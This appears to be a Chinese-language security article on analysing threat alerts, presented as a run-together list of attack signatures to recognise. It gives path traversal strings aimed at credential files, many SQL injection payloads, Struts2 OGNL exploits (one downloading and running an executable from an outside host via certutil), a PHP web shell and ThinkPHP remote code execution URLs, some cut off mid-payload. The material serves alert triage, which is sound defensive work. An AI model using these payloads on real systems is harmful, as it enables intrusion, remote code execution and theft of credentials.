技术干货 | 威胁事件告警分析技巧及处置（一）

/etc/passwd/etc/shadow/c:boot.ini/C:/Windows/system.ini、/windows/win.ini../../../../../ 若是只有一个且后面是图片类型 pdf类型那需结合其他事件进行综合判断cmd.exe /c[/k]、系统命令/bin/bashwget http://xx.xx.xx.xx/xx.sh CHR(68)||CHR(113)||CHR(90)||CHR(85)%print(md5(31337))执行命令的函数等。

> select * from xx union select null,null> order by 10[5][2][3]> ") or ("1"="1>‘and 1=2-- -[#]、 1') AnD 1419=1419 AnD ('1419'='1420 > 1' AND ROW(4622,4623)>(SELECT COUNT(*),CONCAT('PGC2UcNo',(SELECT (CASE WHEN (4622=4622) THEN 1 ELSE 0 END)),'PGC2UcNo',FLOOR(RAND(0)*2))x FROM (SELECT 4624 UNION SELECT 4625 UNION SELECT 4626 UNION SELECT 4627)a GROUP BY x) AND 'PGC2UcNo'='PGC2UcNo> =@`'` Union select userid from `%23@__admin` where 1 or id=@`’`> 9997') AND 8553%3D8553 AND ('PVZl'%3D'PVZl，1'%3BSELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(68)||CHR(113)||CHR(90)||CHR(85)%2C5) FROM DUAL> sleep(5)、waitfor delay '0:0:5'> and if (ascii(substr(database(),1,1))、and if (length(database()) (updatexml(1,md5(0x666F7274657374),1)))、extractvalue、NAME_CONST

> #_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#res=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#res.print('RTbZWnwBUdlseupNYQjf'),#res.flush(),#res.close()> /?redirect:${%23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23w.println('SgEyRprkLcMdtnsTJCve'),%23w.flush(),%23w.close()}> class.classLoader.resources.dirContext.aliases=/eCJivkuR=conf/> Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cmd.exe /c certutil.exe -urlcache -split -f http://wiu.fxxxxxxk.me/download.exe %SystemRoot%/Temp/aodagutnzwrjrlm15341.exe & cmd.exe /c %SystemRoot%/Temp/aodagutnzwrjrlm15341.exe').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{

 @ognl.OgnlContext   new java.lang.ProcessBuilder   println(  (java.lang.Runtime).getRuntime().exec(new java.lang.String、${new java.lang.Integer( import+java.util.*;import+java.io java.io.PrintWriter org.apache.commons.collections.functors.InvokerTransformer

<?php eval($_POST[xxx])?>eval()assert()preg_replace()create_function()call_user_func()array_map()call_user_func_array()phpinfo()systemexecpopenpassthrushell_execfile_put_contents

index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=base64_decode&vars[1][]=MWVVdGJrc2pLZ3AyRmx1Zg=="_method": "__construct",  "filter[]": "system", "method": "get", "get[]": 'php -r "phpinfo();“’ /index.php?s=/index/\think\app/invokefunction/index.php?s=/index/\think\request/cache?s=index/\thinkRequest/input/index.php/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1?s=index/\thinkmodule/action/param1/${@phpinfo()}/index.php?s=index/thinkconfig/get&name=database.passwordindex.php?s=index/thinkconfig/get&name=database.password c=exec&f=calc.exe&_method=filter